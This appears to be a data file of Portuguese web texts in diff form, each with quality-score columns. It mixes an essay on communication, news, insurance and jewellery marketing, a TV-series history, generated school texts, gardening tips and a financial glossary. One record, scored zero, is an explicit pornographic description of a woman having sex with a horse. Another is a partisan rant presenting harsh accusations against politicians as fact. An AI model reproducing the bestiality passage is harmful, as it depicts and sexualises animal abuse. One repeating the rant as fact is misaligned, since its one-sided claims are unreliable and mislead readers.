+O pensamento e a sua expressão adquirem assim relevância, quer pelo que traduzem nas emoções e sentimentos do próprio indivíduo, fale-se em atitude de bem-estar, apenas fluência e gosto ou por vezes mal-estar, quer pela influência e consequências que gera no interlocutor unitário ou colectivo.
+Ao contrário, a incomunicação é o contrário da comunicação, resultante da falta de competência linguística (oral, verbal ou gestual), bem como da falta de adequação da estrutura personalizada a situações complexas, nomeadamente em estado de crise, em que há falta de reacção ao facto, extemporaneidade do discurso ou desajustamento da fala por incredibilidade ou sofrimento.
+A comunicação pode falhar, porque a terminologia utilizada pode ter uma técnica ininteligível, por serem feitas suposições sobre o significado das palavras desconhecidas ou capciosas, por desatenção, falta de concentração e memória, ou devido aos acidentes de uma mente treinada, em que há tendência para a pessoa se deixar arrastar menos para o que vê mas antes para o que pensa estar a ver.
+O domínio público da comunicação assume particular relevância, porque influencia os auditores, leitores e visionários, porque desencadeia diálogo, estigmas e paradigmas, e porque contribui para a construção da designada opinião pública, em sentido digno ou manipulado, valorativa ou pejorativa, em crescendo ou minimizadora.
+A comunicação social, como ciência social aplicada, estuda os acontecimentos, factos ou unidades de crise, que surgem na sociedade e justificam dissertação e disseminação no sentido informativo e formativo.
+Comunicar implica perguntar, ouvir, responder e explicar
+Aqui reside o busílis da questão. Há comunicação que tem por exercício o domínio especulativo, sensacionalista, demagógico ou pervertido, gerador de receitas pecuniárias e inflamação de mentes fragilizadas. E há comunicação que se traduz em selecção e rigor de conteúdos, informação de interesse público e verdadeira formação e educação permanente, a que defendemos.
+Comunicar implica perguntar, ouvir, responder e explicar. E implica descobrir o motivo, ter a compreensão partilhada acerca do problema e encorajar o receptor a participar no processo de tomada de decisão.
+Comunicar é preciso, porque a liberdade individual, a coesão grupal e o estímulo à acção transformadora são condicionantes da elaboração de juízos de valor, da formulação de atitudes interventivas e do progresso na sociedade, em democracia, justiça social e direitos humanos.",original,original,original,original,3,0.6
+"Polônia aprova programa anti-crise de 24 bilhões de euros - Economia - iG
+Polônia aprova programa anti-crise de 24 bilhões de euros
+O primeiro-ministro polonês, Donald Tusk, anunciou neste domingo a aprovação de um programa de estabilização e desenvolvimento para os anos 2009-2010 de 91,3 bilhões de zlotys (24 milhões de euros), para enfrentar as conseqüências da crise econômica mundial.
+""Trata-se de um programa de estabilização e desenvolvimento, pois a Polônia está na situação de um país que vai continuar se desenvolvendo"", declarou o primeiro-ministro à imprensa.
+""Felizmente, as conseqüências da crise mundial para a Polônia não são muito graves"", afirmou.
+Também neste domingo, o ministro polonês das Finanças, Jan Rostowski, anunciou que seu ministério sugeriu abaixar a previsão de crescimento econômico atual, de 4,8%, incluída no projeto de orçamento para 2009.
+De acordo com a nova previsão, o Produto Interno Bruto (PIB) polonês terá um crescimento de 3,7%.",original,original,original,original,1,0.2
+"Diferenças entre Seguro de Vida e Previdência Privada
+Se preocupar com o futuro faz parte da nossa vida, mas o que realmente importa é se preparar para ele, afinal todos queremos dar mais qualidade de vida e sossego para a nossa família.
+E é esse o ponto que o Seguro de Vida e a Previdência Privada tem em comum: a garantia de dias futuros mais estáveis, financeiramente falando.
+É interessante saber também que alguns seguros oferecem coberturas adicionais no caso de invalidez ou morte do cônjuge do segurado.
+Outra informação relevante, no caso dos beneficiários do Seguro de Vida serem menores de idade: no contrato do seguro deve-se nomear um tutor, pois na ausência do segurado eles não poderão receber a indenização por impedimento legal. Esse tutor será então a pessoa legalmente responsável pelos dependentes menores do falecido.
+Note-se que o Seguro de Vida não é só indicado para as pessoas mais velhas. Do mesmo modo ele é importante para uma pessoa mais jovem que não tem dinheiro guardado mas que se preocupa com sua família, pois tal estará amparada no advento de alguma fatalidade.
+Já a Previdência Privada nada mais é que um investimento para garantir uma renda maior quando o segurado estiver mais velho.
+Essa renda não exclui a do INSS, mas é um complemento; funcionará como um fundo (acumulado durante a vida profissional) que fará o beneficiário aproveitar com mais tranquilidade a melhor idade.
+A Previdência Privada é pensada para que o contratante a usufrua junto a sua família nos dias futuros. São pagas parcelas mensais por alguns anos (isso depende do plano escolhido), e assim é construída uma reserva financeira a ser resgatada após o período do contrato. Tudo o que foi investido será resgatado mensalmente, complementando-se a renda.
+Há formas diferentes de se resgatar o dinheiro investido na Previdência Privada: a) renda temporária, em que se recebe o valor mensal conforme a idade inicial e final determinada no contrato; b) renda vitalícia, com o recebimento mensal de uma parcela até a morte (sendo que é possível transferir esse benefício para outra pessoa caso o beneficiário principal faleça); e c) resgate total do investimento após o prazo determinado em contrato.
+Como há planos de Previdência Privada que possuem cobertura de risco, ou seja, a família passa a receber o benefício caso o contratante venha a falecer, é sempre bom ter o auxílio de um corretor de seguros para verificar a hipótese ideal para a realidade de cada interessado.
+Consulte a Pro Affinity, esclareça suas dúvidas e veja qual a melhor opção para você e para sua família!",original,original,original,original,3,0.6
+"Em 1985, o regime militar dava seus últimos suspiros e, mesmo ainda existindo censura, havia uma expectativa de liberdade e democracia no ar. Esse clima de euforia que parecia contagiar o Brasil foi o principal combustível dos criadores do seriado, que queriam dizer de uma só vez tudo o que não podia ser dito antes na televisão. Armação Ilimitada se tornou um dos programas mais influentes na história da TV brasileira. O trio de protagonistas já era, em si, uma ousadia completa para o veículo: dois jovens dividiam oficialmente, e sem problemas, a mesma namorada, uma alusão ao filme Jules et Jim, de François Truffaut.
+Juba (Kadu Moliterno) e Lula (André de Biasi) são sócios na Armação Ilimitada, uma empresa prestadora de serviços, e topam qualquer desafio: de competições esportivas a cenas arriscadas como dublês de anúncios para a TV, do conserto de um toca-discos até a redação de um discurso para o presidente da República. Os dois moram juntos em um estúdio de TV abandonado, onde vivem cercados de mulheres bonitas, praticam esportes e levam uma vida saudável. Amigos desde infância, se orgulham da lealdade e confiança que depositam um no outro até que conhecem e se apaixonam pela jovem repórter Zelda Scott (Andréa Beltrão).
+Inteligente, bonita e idealista, Zelda acaba de chegar da Europa, onde se formou em jornalismo na Sorbonne e viveu com o Pai (Paulo José), um político exilado. No Brasil, ela divide o apartamento com a fogosa Ronalda Cristina (Catarina Abdala) e trabalha no jornal Correio do Crepúsculo, comandado pelo seu tirânico Chefe (Francisco Milani) . Enviada para escrever um perfil de Juba e Lula, Zelda acaba apaixonada pelos dois. Incapaz de se decidir, conclui que o melhor é amar os dois ao mesmo tempo.
+Para Juba e Lula, a coisa não é tão simples e só depois de quase se matarem em uma disputa pelo amor de Zelda, eles decidem preservar a amizade. O trio passa, então, a ter um bem-resolvido relacionamento amoroso. No episódio O Surfista e o Milionário, Zelda afirma que quer ficar com Juba e Lula após ser salva pela dupla . Alguns episódios depois, adotam Bacana (Jonas Torres), um garoto esperto que perdeu os pais, que eram artistas de circo. Em pouco tempo, ele revela ter o mesmo espírito aventureiro dos pais adotivos.
+As aventuras dos heróis de Armação Ilimitada eram baseadas na atualidade e no estilo de vida dos jovens, com roteiros que absorviam todos os clichês dos filmes de ação, ficção científica e aventura. Em quatro temporadas, Juba, Lula e companhia lidam com agentes secretos, sósias, vampiros sereias, políticos corruptos, clones de Magnum (do seriado epônimo) e James Bond, super-heróis, bandas de rock, motociclistas, mulheres fatais e monstros.
+Para os autores, tão importante quanto as histórias era determinar a maneira como elas seriam contadas. Em texto e imagem, eles abusavam de experimentações narrativas e de um humor anárquico, sem maior compromisso com a dramaturgia convencional da televisão.
+O seriado tinha o seu próprio menestrel ou corifeu na figura do DJ Black Boy (que, apesar do nome, era interpretado por uma mulher, a atriz Nara Gil). De seu estúdio na Rádio Atividade, ele interrompia um episódio várias vezes para fazer comentários sobre a história, num misto de locução de rádio e rap: “É como já dizia o velho Charles:/ Bandeira pouca é bobagem/ Mais ovo e menos galinhagem/ Entra no ar o rádio com imagem”.
+Armação Ilimitada foi criado a partir de uma idéia dos atores Kadu Moliterno e André de Biasi, que haviam trabalhado juntos na novela Partido alto (1984), e se encontravam frequentemente na praia para surfar. Eles queriam fazer um seriado de TV que misturasse esportes, romance e aventura, com uma linguagem jovem. Em 1985, os atores conversaram sobre o programa com o diretor Daniel Filho, que resolveu apostar no projeto.
+A direção foi entregue a Guel Arraes, que dirigira com Jorge Fernando a novela Vereda Tropical (1984), de Silvio de Abreu. O diretor conta que, a princípio, não se identificou co...",original,original,original,original,4,0.8
+"Utilize as setas esquerda/direita para navegar pela apresentação de slides, ou deslize para a esquerda/direita se estiver usando um dispositivo móvel",original,original,original,original,0,0.0
+"Video de zoofilia com uma loira perfeita do corpo escultural bumbum redondo e durinho com marquinhas de fio dental na putaria pela primeira vez com um cavalo dotado. Depois que fica sozinha com o cavalo na fazenda dos tios fica enlouquecida com o tamanho do cacete.
+Assim tira toda a roupa e peladinha se agarra no cacete do animal lambe e chupa deixando bem duro. Em segundo lugar com as pernas abertas soca todo dentro da buceta e mexe bem gostoso com o cu piscando. Por fim goza bem gostoso com a buceta aberta e segue chupando até o cavalo gozar.",original,original,original,original,0,0.0
+"8 em cada 10 só conseguem benefício especial na Justiça – Marinho Ferraz & Lemos – Advogados Associados
+NOTÍCIA INSERIDA 1 de abril de 2019 1 de abril de 2019 POR Gerenciador Marinho & Ferraz
+Entre benefícios pagos pelo INSS em janeiro, 78% foram por ordem judicial
+Em janeiro deste ano, o INSS liberou 1.356 aposentadorias especiais a trabalhadores urbanos, sendo que 1.064 das concessões (78,5%) se deram pela via judicial, segundo a edição mais recente do Boletim Estatístico da Previdência Social, o primeiro a informar dados sobre o grau de judicialização desses benefícios. O elevado número de concessões judiciais é atribuído por especialistas às restrições impostas pelo INSS ao reconhecimento de provas do trabalho insalubre, como nos casos em que o órgão previdenciário aceita como eficaz equipamentos de proteção que, na prática, não impedem o dano ao trabalhador. “Sempre soubemos que muitas das concessões de benefícios especiais só eram possíveis pela via judicial, mas faltavam dados para confirmar isso”, afirma Adriane Bramante, presidente do IBDP (Instituto Brasileiro de Direito Previdenciário). “É muito raro conseguir esse tipo de benefício na via administrativa”, diz.
+A aposentadoria especial é devida ao trabalhador que completa períodos de atividade insalubre que variam entre 15, 20 e 25 anos, sendo que as diferenças nos tempos de contribuição exigidos dependem do nível do risco à saúde do empregado (baixo, moderado ou alto). Além de não exigir idade mínima e de antecipar a concessão em até 20 anos, a aposentadoria especial também não sofre redução do fator previdenciário, o que faz do benefício um dos mais vantajosos do Regime Geral da Previdência Social. A comprovação da exposição a agentes nocivos —ruído elevado, substâncias tóxicas ou infectantes, por exemplo— é atualmente comprovada por um formulário chamado PPP (Perfil Profissiográfico Previdenciário). O documento deve ser fornecido pelo empregador. Atividades insalubres realizadas até 28 de abril de 1995 são reconhecidas de acordo com a profissão. Procurado pela reportagem, o INSS não comentou. Reforma tira vantagens do benefício A PEC (proposta de emenda à Constituição) da reforma da Previdência, se for aprovada sem alterações pelo Congresso, fará a aposentadoria especial perder as vantagens oferecidas hoje ao segurado que trabalha em condições prejudiciais à saúde. A principal mudança imposta pelo projeto do governo de Jair Bolsonaro (PSL) é o fim do benefício com o valor integral da média dos salários de contribuição.
+Além disso, com a reforma, a aposentadoria especial por insalubridade só poderá ser solicitada pelo segurado que completar as idades de 55, 58 ou 60 anos. A variação na idade mínima é aplicada conforme o grau de insalubridade da atividade. A expectativa de vida poderá elevar essas idades a partir de 2024.
+Aproposta ainda reforça alguns obstáculos já presentes nas regras atuais, como a necessidade de comprovar a efetiva exposição a agentes nocivos à saúde, acabando assim com a possibilidade de enquadramento por categoria profissional, como permite a regra de hoje para atividades realizadas até 1995.
+https://agora.folha.uol.com.br/grana/2019/03/8-em-cada-10-so-conseguem-beneficio-especial-na-justica.shtml?fbclid=IwAR0c3GHFUN-o0MeTVLiZ2ogOrAc1Tz5ooF8i_AimRq0aDnsjQ7XAWXjIpUo",original,original,original,original,3,0.6
+"Você já parou para pensar em como tudo está conectado no mundo ao nosso redor? As árvores, os animais, a água que bebemos, o ar que respiramos… Tudo isso faz parte do meio ambiente, um sistema complexo e fascinante. E a ecologia é a ciência que estuda essas conexões! 
+
+Imagine uma floresta. As árvores fornecem abrigo e alimento para diversos animais, como macacos e aves. Esses animais, por sua vez, ajudam a espalhar sementes, garantindo que novas árvores cresçam. As folhas que caem no chão se decompõem, enriquecendo o solo, que nutre as raízes das árvores. Até mesmo os pequenos insetos e fungos desempenham um papel importante nesse ciclo! Isso é um exemplo de ecossistema, um conjunto de seres vivos que interagem entre si e com o ambiente físico. 
+
+A ecologia nos ensina que cada ação tem uma reação. Quando poluímos um rio com lixo ou esgoto, por exemplo, estamos afetando a vida dos peixes e de outros animais aquáticos. Quando desmatamos uma floresta, estamos destruindo o habitat de diversas espécies e contribuindo para o aquecimento global. Mas também podemos fazer coisas boas! Ao reciclarmos o lixo, economizamos recursos naturais e diminuímos a poluição. Ao plantarmos árvores, ajudamos a purificar o ar e a proteger o solo.
+
+A importância de entender o meio ambiente e a ecologia vai muito além das aulas de ciências. Está ligada ao nosso futuro! Se não cuidarmos do nosso planeta, as consequências podem ser graves. Enchentes, secas, extinção de animais e plantas, mudanças climáticas… Tudo isso já está acontecendo e pode piorar se não agirmos. 
+
+Então, o que podemos fazer? Comece observando o mundo ao seu redor. Preste atenção na natureza, nos animais, nas plantas. Converse com seus amigos e familiares sobre a importância de cuidar do meio ambiente. Pequenas atitudes no dia a dia fazem toda a diferença: economize água e energia, recicle o lixo, use menos plástico, plante uma árvore… Lembre-se: nosso planeta é a nossa casa. E é nossa responsabilidade cuidar dela para as futuras gerações. Que tal começar agora mesmo?",Ciências,Meio ambiente e ecologia,anos finais (6º ao 9º ano),"O trecho apresenta uma excelente introdução à ecologia, utilizando uma linguagem acessível e exemplos claros para explicar conceitos como ecossistema, interdependência e o impacto das ações humanas no meio ambiente. A relação entre teoria e prática, incentivando a ações cotidianas sustentáveis, o torna valioso para o ensino fundamental. O texto é bem estruturado, coerente e motivador, promovendo a conscientização ambiental. Recebe 5 pontos por atender a todos os critérios.",5,1.0
+"melhorar autoestima – Canal da Noiva
+Como melhorar a Autoestima em 10 passos
+Problemas com a autoestima são praticamente uma epidemia do nosso século. Somos bombardeados desde crianças com padrões altíssimos de beleza, comportamento, estilo de vida e a exigência de uma perfeição inatingível é constante.
+Tudo isso atinge muito mais as mulheres e isso é inegável. As críticas, rejeições, imposição de culpa, humilhações, etc, vão minando aos poucos a autoestima e autoconfiança das meninas que se tornam mulheres inseguranças, frustradas e carentes.
+A baixa autoestima pode levar a doenças mais graves como ansiedade e depressão e também se manifesta em sentimentos e comportamentos como a necessidade de aprovação, submissão a relacionamentos abusivos e tóxicos, tristeza, perfeccionismo, medo, insegurança, super exigência consigo mesma, um elevado crítico interno, dentro outros.
+As crenças limitantes que se formam são inúmeras e muito poderosas: “não consigo”, “não sou bonita”, “ninguém gosta de mim”, “não sou capaz”, “faço tudo errado”, “não mereço…”.
+Você se identificou com algum desses pensamentos? Tende a ter um posicionamento muito negativo com relação a sua pessoa e a sua vida? Sente-se infeliz com sua aparência ou com o seu jeito de ser?
+Se a sua “voz interior” é muito crítica e negativa e acaba te fazendo mal, muito provavelmente você tem uma baixa autoestima. E as consequências disso são atitudes negativas que atraem mais dificuldades para a sua própria vida. A baixa autoestima é um círculo vicioso muito prejudicial. Por isso, é muito importante identificarmos essa situação e fazermos algo a respeito o quanto antes!
+Como melhorar a autoestima em alguns passos:
+O primeiro passo é a consciência da baixa autoestima e a vontade de melhorar. Vale a pena reforçar que se a sua motivação para agir estiver muito pequena, pode ser que você esteja em um quadro depressivo ou ansioso e deve buscar ajuda.
+Em segundo lugar, é fundamental identificar a fonte da baixa autoestima. Anote seus pensamentos, identifique um padrão. Reflita e tente recordar de alguma situação específica, comentário ou pessoas que deram início a esse sentimento.
+Comece a anular o seu crítico interno com pensamentos conscientes e positivos! Para cada “eu não vou conseguir”, que venha involuntariamente, repita 3 vezes “eu vou conseguir, sim!”
+Liste todas as suas qualidades ou faça um diário positivo de suas conquistas e vitórias, pensamentos positivos e elogios. Escrever todos os dias algo de bom sobre você mesma vai ajudar a internalizar esse sentimento. Foque em anular aquilo que seu crítico interno mais aponta. Coloque essa lista em algum lugar visível e leia sempre que puder.
+Eu vou me classificar – Eu sou a melhor!
+Peça para que pessoas próximas e queridas escrevam suas 3 principais qualidades na opinião delas. Você vai se surpreender com atributos que você nem tinha se dado conta que tinha.
+Você é incrível! Você é linda! Você é inteligente!
+Use frases assertivas no seu dia a dia. Descreva antes tudo aquilo que for fazer, por exemplo: “vou levantar agora”, “vou escovar os dentes”, “vou colocar uma roupa que gosto”. O importante é você sempre realmente fazer aquilo que você pensar. Sua mente vai entender que você é capaz de realizar tudo aquilo a que se propuser.
+Estabeleça metas realizáveis e cumpra! A sensação de dever cumprido e de produtividade vai gerar um bem estar tremendo! Além disso, use essas metas para trazer mais positividade e coisas boas para sua vida. Determine, por exemplo, que você vai ser mais saudável comendo uma fruta por dia, ou que vai elogiar um amigo por semana.
+Autoestima elevada e autoconfiança. “Eu consigo! Eu sou poderosa”
+Aceite o fato de que somos imperfeitos. Crie um mantra para situações que não sejam tão agradáveis como “tudo bem, continuo sendo uma pessoa boa”, “não sou perfeita, ninguém é, mas vou continuar trabalhando para ser uma pessoa melhor”.
+Eu sou boa o suficiente. Eu sou inteligente
+Adote um estilo de vida mais positivo. Fa...",original,original,original,original,2,0.4
+"Cresci com um conceito totalmente equivocado enraizado em minha mente. Acreditava que o Rio Grande do Sul era o estado “mais politizado do país”. Sem entrar nos detalhes pra não alongar o texto, em um determinado momento da vida acordei e meus olhos se abriram para a realidade, indo contra a corrente narrativa: a maioria dos livros de história que li apresentavam revolucionários facínoras como heróis. Alguns deles, infelizmente, gaúchos. Nesse sentido, elaborei um lista com os dez piores políticos que esse estado já teve. Refiro-me às pessoas públicas, políticas, obviamente – que são e foram sustentadas com dinheiro dos contribuintes. De forma mais ou menos cronológica, vamos à lista.
+1) Luiz Carlos Prestes (1898 – 1990): é impossível não começar a lista com um homem acusado de trair a Pátria. Isso ocorreu após ele afirmar que, numa guerra entre Brasil e URSS, lutaria por seu herói: Stálin. Prestes recebeu treinamento em Moscou e voltou para o Brasil, onde promoveu uma série de barbáries.
+Antes, com a Coluna Prestes e o tenentismo, de 1925 a 1927, marchou por 25 mil quilômetros. Diziam querem destituir as oligarquias, o que era em parte verdade, mas acabaram levando terror ao interior do Brasil. Há extensos relatos de saques, mortes de inocentes e estupros. Por onde a coluna passou, houve terror.
+O herói da esquerda também tentou nos transformar em União Soviética tropical na Intentona Comunista. E tem mais: Prestes foi condenado à prisão pela morte da jovem Elza, em verdade Elvira Cupello Colônio, no ano de 1936. A garota, acusada de ser espiã nos quadros do partido comunista, terminou esquartejada, colocada num saco e enterrada no quintal da casa no bairro de Guadalupe (RJ). Tudo a mando de Prestes. Obviamente, essa parte é silenciada e camuflada quando contada pelos professores de história e historiadores brasileiros. O certo é que Prestes tentou a todo custo implantar o bolchevismo soviético no Brasil, propondo a ditadura do proletariado. No entanto, com todo esse histórico carniceiro – pasmem! – o Cavaleiro da (des)Esperança foi homenageado pelos porto-alegrenses com um Memorial milionário.
+2) Getúlio Vargas (1882 – 1954): o ditador populista gaúcho de São Borja foi o precursor das amarras trabalhistas burocráticas que atrasaram o Brasil ao longo de 80 anos. Como ditador à frente do Estado Novo, perseguiu opositores, fechou jornais e impediu o livre pensar com repressão vergonhosa. Isso para resumir.
+3) João Goulart, o “Jango” (1918 -1976): também nascido em São Borja, o 24° presidente do país (1961 a 1964) foi um frouxo entreguista. Colocou a soberania nacional em risco ao flertar com comunistas carniceiros como Fidel Castro. É adorado por um sociólogo de Porto Alegre que, evidentemente, também foi apaixonado por Fidel.
+4) Leonel Brizola (1922 – 2004): é impossível deixar de fora da lista outro entreguista, esse nascido em Carazinho. Fez escolas, é verdade. Mas também recebeu dinheiro de Cuba para comprar armas e tocar uma revolução no Brasil, o que, sabemos, nos transformaria num Camboja de tamanho continental. Isso o absolve? Lógico que não. Como governador do Rio de Janeiro fez acordos com bicheiros e também deixou a zona livre para os traficantes crescerem. A polícia ficou de mãos amarradas para combater o crime. No fim, ainda foi o último a desembarcar do famigerado governo Collor de Mello, outro oligarca que terminou impichado. Defendeu o alagoano quase até os estertores, apesar da roubalheira que vinha à tona.
+5) Dilma (Ha)Vana Rousseff: não adianta nós, gaúchos, tentarmos jogar a bomba aos mineiros, onde a Sra. Pasadena nasceu. Aquela que veio a ser a 36ª presidentE do Brasil até sofrer um justo (mas demorado) impeachment em 2016, teve toda sua formação política e ideológica no Rio Grande do Sul. Formou-se na UFRGS. Não adianta. Nós criamos esse Frankenstein político. Como revolucionária, juntou-se a tudo o que não presta: foi membro do Comando de Libertação Nacional, que depois se juntou à Vanguarda Popular Revo...",original,original,original,original,2,0.4
+"Você já parou para pensar quem vivia no Brasil antes da chegada dos portugueses? A resposta é simples: os povos indígenas! Eles não eram um grupo único, mas sim uma enorme diversidade de etnias, cada uma com sua língua, costumes, crenças e conhecimentos. A história do Brasil começa muito antes de 1500, e entender essa história é fundamental para construirmos um país mais justo e igualitário.
+
+Imagine o Brasil como um grande mosaico, onde cada peça representa um povo indígena diferente. Tupi, Guarani, Xavante, Yanomami, Ticuna... são apenas alguns exemplos dessa riqueza cultural. Cada um desses povos desenvolveu técnicas de agricultura, medicina, artesanato e organização social adaptadas ao seu ambiente. Por exemplo, os povos da Amazônia, como os Yanomami, dominavam o uso de plantas medicinais e conheciam profundamente a floresta, utilizando seus recursos de forma sustentável. Já os povos do litoral, como os Tupinambá, eram exímios pescadores e navegadores.
+
+A história dos povos indígenas no Brasil é marcada por muita luta e resistência. Desde a chegada dos portugueses, eles enfrentaram a violência da colonização, a perda de suas terras e a imposição de uma cultura diferente. Mas, apesar de tudo isso, os povos indígenas resistiram e continuam resistindo, preservando suas tradições e lutando por seus direitos. Hoje, eles estão presentes em todo o Brasil, tanto em áreas rurais quanto em cidades, e suas culturas continuam vivas e vibrantes.
+
+É importante lembrar que os povos indígenas não são apenas ""parte do passado"". Eles são parte do presente e do futuro do Brasil. Suas culturas e conhecimentos são valiosos para a construção de um país mais sustentável e justo. Ao conhecermos a história e a cultura dos povos indígenas, podemos aprender muito sobre respeito à natureza, convivência em comunidade e valorização da diversidade.
+
+Que tal pesquisar sobre o povo indígena que vive ou viveu na sua região? Descubra seus costumes, sua língua, suas histórias e seus desafios. Ao fazer isso, você estará contribuindo para valorizar a história e a cultura indígena, e para construir um Brasil mais justo e igualitário para todos.",História,Povos indígenas,anos finais (6º ao 9º ano),O trecho apresenta alto valor educacional. Apresenta informações básicas relevantes sobre os povos indígenas (1 ponto). Aborda elementos pertinentes à educação de forma organizada (mais 1 ponto). Introduz conceitos importantes relacionados ao currículo escolar de forma coerente (mais 1 ponto). O texto possui estilo de escrita claro e consistente (mais 1 ponto). Apresenta raciocínio detalhado e insights profundos sem complexidade (mais 1 ponto).,5,1.0
+"22/05/2013 - Cientistas põem chips em formigas e descobrem divisão de funções
+Segundo o estudo publicado na revista Science, os biólogos marcaram com chips formigas de seis colônias, cada uma com mais de cem espécimes. Elas foram colocadas em recintos planos e sua movimentação foi gravada por uma câmera instalada em cima do recipiente.
+Ascensão social e restrição de contato
+No entanto, o estudo publicado na “Science” ainda não deixa claro como funciona a transição de cargos, já que foi possível identificar formigas mais velhas nas funções que seriam, em princípio, para as mais jovens.
+Foto: Alessandro Crespi/Science",original,original,original,original,2,0.4
+"Por 925 Gramas De Prata De Jóias Por Atacado Anéis De Ametista Em Bruto,Citrino,Peridoto E Mais Pedras - Buy Anel De Prata,Jóia Por Atacado,Áspera Primas Product on Alibaba.com
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+Sunrise Joalheiros
+SJD7440
+Aniversário, Noivado, Presente, Festa, Casamento, moda
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+Shipping & as taxas de Movimentação são EUA us $40 para os primeiros 50 itens e US $15 para cada um adicional de 50 itens. por exemplo, se você comprar 40 itens com as despesas de envio será EUA us $40, se você comprar 60 itens com as despesas de envio será EUA $55. os produtos são enviados via DHL, UPS, FedEx, Correio Velocidade (EMS). nós enviamos dentro de 1-2 dias após o pedido está pronto. entrega é geralmente dentro de 5-10 dias úteis em todo o mundo após o envio. em casos raros pode demorar até 3 semanas para entrega dependendo dos destinos e regulamentos aduaneiros no seu país.
+Important: a Sua remessa em chegada pode estar sujeitos a direitos de importação imposta pelo departamento de alfândega do seu país. por ...",original,original,original,original,1,0.2
+"Cultive temperos em casa - Wickbold
+O principal é ter um solo fértil e, por isso, é recomendado preencher o recipiente onde o tempero será plantado com substrato. Ao longo do crescimento de cada um deles, é importante adubar para repor os nutrientes. Na hora da colheita, utilize tesoura de poda, ela evita o risco de causar danos à planta. Confira as necessidades individuais para cultivar cada espécie:
+Espaço necessário: recipiente com pelo menos 20 cm de diâmetro e 30 cm de altura.
+Como regar: no máximo duas vezes por semana é suficiente. E não deixe a terra encharcar.
+Iluminação: direta e abundante.
+Colheita: se você plantar uma muda, a primeira colheita pode ser feita em 10 dias. No caso do plantio de semente, após 90 dias. Corte somente as pontas dos ramos.
+Espaço necessário: recipiente com pelo menos 30 cm de altura.
+Como regar: apenas quando o solo estiver seco. Coloque a ponta dos dedos no substrato para ver se precisa colocar água ou não.
+Iluminação: pelo menos 5 horas por dia de exposição à luz solar.
+Colheita: entre 2 e 3 meses depois do plantio das sementes já é possível colher os talos quase inteiros. Deixe pelo menos 1 cm plantado para que novos talos voltem a crescer.
+Espaço necessário: qualquer recipiente, ela não precisa de muito espaço. A atenção, nesse caso, deve ser uma terra bem adubada. Coloque compostos orgânicos, como o húmus, antes do plantio.
+Como regar: todos os dias. Iluminação: não precisa de luz direta do sol, mas é importante ser mantida em locais bem iluminados.
+Colheita: após 2 meses e meio do plantio das sementes, colha as hastes externas, fazendo a retirada pela base. Orégano
+Espaço necessário: como chega a 50 cm de altura, precisa ficar em um local em que possa se desenvolver verticalmente. Como regar: diariamente, em quantidade moderada. O orégano não resiste ao solo seco nem encharcado.
+Iluminação: as folhas precisam ser expostas ao sol por aproximadamente quatro horas por dia, e não deve ficar em local muito quente. Colheita: quando a planta atingir 20 cm de altura, já pode ser colhida. Manjericão
+Espaço necessário: um recipiente individual. Como regar: diariamente.
+Iluminação: precisa de pelo menos quatro horas por dia de exposição ao sol.
+Colheita: depois de 60 dias do plantio das sementes, a primeira colheita poderá ser realizada. Opte pelos galhos com as maiores folhas para cortar. Após a colheita, que tal reaproveitar potes de vidros que perderam a utilidade para armazenar e manter os temperos frescos? A dica vale para potes de papinha de bebê, compotas e geleias, por exemplo. Confira outras formas de reciclar objetos.
+Fonte: casa.com.br.
+cultivar temperosplantiotemperos Matérias Relacionadas
+Como preparar a casa para receber um pet Dicas Práticas
+Descubra como se exercitar em casa Estilo de Vida
+Dicas para aconchegar os amigos em casa Mais sabor e nutrição para o seu dia Ver todos os produtos",original,original,original,original,3,0.6
+"Austin Marriott South, Texas: preços e avaliações - TripAdvisor
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+"Proteste Investe | Glossário financeiro - Índice bolsista
+Um índice bolsista é um valor que traduz a tendência geral de um determinado conjunto de títulos, nomeadamente, ações (por país, região, setor), através de um média das subidas e das descidas.
+O valor do índice é relativo. Parte-se, por exemplo, de uma base de 100. A progressão do índice traduz-se pela evolução do valor face ao momento inicial. Um índice que tenha começado em 100 e atinja 200 num dado período significa que, em média, as ações que o compõem duplicaram de valor durante esse espaço de tempo.
+Para calcular um índice de bolsa, podem considerar-se todas as ações cotadas numa Bolsa. Contudo, também é possível limitar o índice às ações mais importantes ou mais representativas de uma bolsa, que são ponderadas de forma a refletir a sua importância no mercado, ou calcular vários índices consoante os vários setores de atividade. Tal como existem muitas bolsas, setores e regiões, há também um grande número de índices que foram criados para as representar.",original,original,original,original,4,0.8
+"Olá, pequenos exploradores do mundo das letras! Já pensaram em como as histórias podem nos levar para lugares incríveis, conhecer personagens superdivertidos e aprender um montão de coisas novas? Hoje, vamos embarcar em uma aventura pelo mundo da literatura brasileira, um tesouro cheio de cores, sons e muita imaginação! 
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+A literatura brasileira é como um jardim secreto, cheio de flores raras e caminhos misteriosos. Nela, encontramos contos de fadas com personagens brasileiros, como a Cuca, o Saci-Pererê e o Boitatá, que são muito mais legais que os dragões e cavaleiros dos contos estrangeiros, porque fazem parte da nossa cultura! Já ouviram falar deles? São personagens que nos ensinam sobre a natureza, a importância de respeitar os mais velhos e a esperteza para lidar com os desafios da vida. 
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+Imagine, por exemplo, um livro que conta a história de um menino que encontra um Saci-Pererê na floresta. O Saci, com seu gorro vermelho e uma perna só, adora fazer travessuras, como esconder objetos e dar nós nos pelos dos cavalos. Mas, no fundo, ele é um bom amigo e pode ensinar muitas coisas sobre as plantas, os animais e os segredos da mata. Ou, que tal uma história sobre uma menina que se perde na floresta e encontra a Cuca, uma bruxa com cabeça de jacaré que assusta as crianças desobedientes? Mas, ao invés de se assustar, a menina usa sua inteligência para ajudar a Cuca a resolver um problema e, no final, as duas se tornam grandes amigas. 
+
+Essas histórias nos mostram que a literatura não é só para ler, mas também para pensar, imaginar e criar. Podemos inventar nossos próprios finais para as histórias, desenhar os personagens que mais gostamos e até mesmo escrever nossas próprias aventuras! Que tal pegar um livro de Monteiro Lobato, como Reinações de Narizinho e começar a descobrir o Sítio do Picapau Amarelo? Ou ler alguma história de Ana Maria Machado? Há muitos autores brasileiros esperando para serem descobertos!
+
